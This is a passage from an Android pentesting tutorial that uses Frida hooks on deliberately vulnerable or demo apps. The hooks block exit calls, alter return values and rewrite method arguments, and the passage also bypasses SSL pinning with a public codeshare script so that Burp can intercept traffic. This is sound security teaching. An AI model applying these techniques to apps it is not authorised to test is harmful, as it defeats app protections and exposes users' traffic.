frida -U -l main_startchallenge.js -f jakhar.aseem.diva
And sure enough, every time a button is pressed, our custom input is displayed.
Hooking exit() method: We can also tamper the exit method in android just like we tampered onCreate method. Here, I’m using a demonstration application that I custom coded (link here). It has a button that is performing an exit function. You can see a sample screenshot below:
Now, here we see the exit button. As the name states, on pressing it, application exits.
We create a hook down below that will stop the exit. Here, “java.lang.System” is the package that has exit function and so we’ll overload it using “sysexit.exit.overload().implementation.” Now, whenever a user clicks on exit, our send method will be called and exit will be stopped.
console.log("Hooking on exit function");
Java.perform(function(){
var sysexit = Java.use("java.lang.System");
sysexit.exit.overload("int").implementation = function(var_0) {
send("I've stopped java.lang.System.exit() now!");
};
});
Let’s fire this script up and sure enough, we can see that the process is not terminated when the exit button is clicked. If it had been terminated frida must have thrown a process terminated error and closed the console.
frida -U -l avoidexit.js -f com.example.harshitrajpal --no-pause
Hooking return value: We have hooked methods till now, but a return variable can also be hooked and its output be tampered with. In article 3 of this series, I had already demonstrated this using Objection tool but today we’ll do this using Frida and our manual code. In the application that I custom coded which is mentioned above, there is a simple program to display output of 10 and 50. We’ll hook this return value and output 100. The code to do this is pretty straightforward:
console.log(“Hook for implementation of method”);
Java.perform(function myFunc() {
var myClass = Java.use(“com.example.harshitrajpal.MainActivity”);
myClass.returnValue.implementation = function(){
//we will manipulate the return value here
var ret = 100;
return ret;
}
});
Let’s first run the program without loading our hook. We can see that the program outputs 60 which is the correct answer.
Now, we’ll fire up our script and see what changes happen in the application now.
frida -U -l retValueHook.js -f com.example.harshitrajpal --no-pause
And sure enough, the output gets tampered and 100 is returned now!
SSLPinning Bypass
Frida is most commonly used to bypass SSLPinning in android so that researchers and pen testers can intercept its network calls and conduct a traffic analysis. For the demo of this attack, I downloaded an application named “Certificate Pinning Demo”. For the demonstration of this attack, you must have your burp suite configured with your device (follow point 3 of the article here). Now, when I pin the client and send an HTTPS request, it throws an SSL error.
And sure enough, no communication is intercepted in burp suite as well.
Now, on the codeshare repository here, akabe1 has put a great script to perform SSLPinning bypass. We’ll use this script to perform the attack. Note that applications might have different code of pinning, so these codes need to be modified as and when required.
frida -U --codeshare akabe1/frida-multiple-unpinning -f com.osfg.certificatepinning
Type %resume once the script gets loaded.
And finally, when we now send a request to sslabs.com in pinned mode, we are able to get an HTTP 200 response code!
Surely, we are now able to intercept communication in burp suite as well.
Hooking in Python
Python coders can customize a whole fridascript to run in python environment using the python’s frida package and API. This would make performing multiple processes in hooks easier. Here, I’ll create a hook on startChallenge function as above.
jscode = """
console.log("Hooked startChallenge() function");
Java.perform(function(){
var newstart = Java.use("jakhar.aseem.diva.MainActivity");
newstart.startChallenge.overload("android.view.View").implementation = function(v){
//enter any implementation of startChallenge you want
//for demo I'm just sending an alert on console
send("MainActivity.startChallenge() is now started");
console.log("You clicked...but in vain!");
var ret = this.startChallenge.overload("android.view.View").call(this);
};
});
"""
import frida,sys
process = frida.get_usb_device().attach("jakhar.aseem.diva")
script = process.create_script(jscode)
print("*** Running Hook on startChallenge() now!")
script.load()
sys.stdin.read()
Now, every time user clicks on any button to start the challenge, the execution stops and our custom output is printed instead.
We, run this script using the command below:
python3 startChallenge.py
Let’s Play a Game!
All the examples demonstrated till now are very basic. There are advanced hooking techniques to perform various different functions whose references I’ll mention at the end. One such challenge I found was on 11×256’s blog. In example #1, we have to intercept the APK, see what’s happening behind the white screen, change its implementation and modify its behaviour. finally, we’ll check logcat to see if our hook worked and the sum of our custom defined integers is thrown or not.
Follow the link here and download the sample apk.
First, after running the application in the emulator we saw just a plain white screen. That means something must probably be happening in the background.
We’ll use drozer to see activities here:
run app.activity.info -a com.example.a11x256.frida_test
As you can see, my_activity is present. This means this is the activity responsible for the full white front screen.
Now, we’ll use objection to watch what this class is actually doing. (Full objection tutorial here.)
objection --gadget com.example.a11x256.frida_test explore
android hooking watch class com.example.a11x256.frida_test --dump-args --dump-return --dump-backtrace
Here, observe that fun() is being called. This has two int parameters, so, presumably, these two integers are getting performed a mathematical operation on.
Now, we write a code in javascript:
console.log("Script loaded successfully ");
Java.perform(function x() { //Silently fails without the sleep from the python code
console.log("Inside java perform function");
//get a wrapper for our class
var my_class = Java.use("com.example.a11x256.frida_test.my_activity");
//replace the original implmenetation of the function `fun` with our custom function
my_class.fun.implementation = function (x, y) {
//print the original arguments
console.log("original call: fun(" + x + ", " + y + ")");
//call the original implementation of `fun` with args (2,5)
var ret_value = this.fun(2, 5);
return ret_value;
}
});
This code does nothing but defines fun() function and specifies 2 and 5 as our own integers on which some mathematical function will be performed. but before that, the script also intercepts and displays the original call and obviously the original integers!
Let’s fire it up using frida:
frida -U -l 11x256.js -f com.example.a11x256.frida_test
As we can see, the original call had two integers namely, 50 and 30.
Let’s quickly check logcat and see what is happening in the background.
adb logcat | grep frida_test
As we can see in the screenshot down below, a mathematical Sum of type Double is being repeatedly called. This is similar to the behaviour of the app we just installed that was calling a method called fun after every second. Hence, it is safe to conclude that fun() is adding two integers. Original numbers to be added were 50 and 30, which we not only intercepted and dumped but also changed to 2 and 5 and the sum of 2 and 5 is now being called as evident in logcat.
References
Hooking is a pentester’s best buddy and reverse engineer’s most handy tool. It has numerous applications and to write custom scripts to perform various functions like sniffing crypto APIs, decrypting AES etc, a tester needs to have complete knowledge of javascript, reverse engineering APKs and java. To get good at frida and hooking (dynamic instrumentation), I’ll mention the following references:
- 11×256’s blog here
- Frida docs here
- Apps to perform frida demo here along with DIVA and our custom APK here
- Josh Spicer’s blog here
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here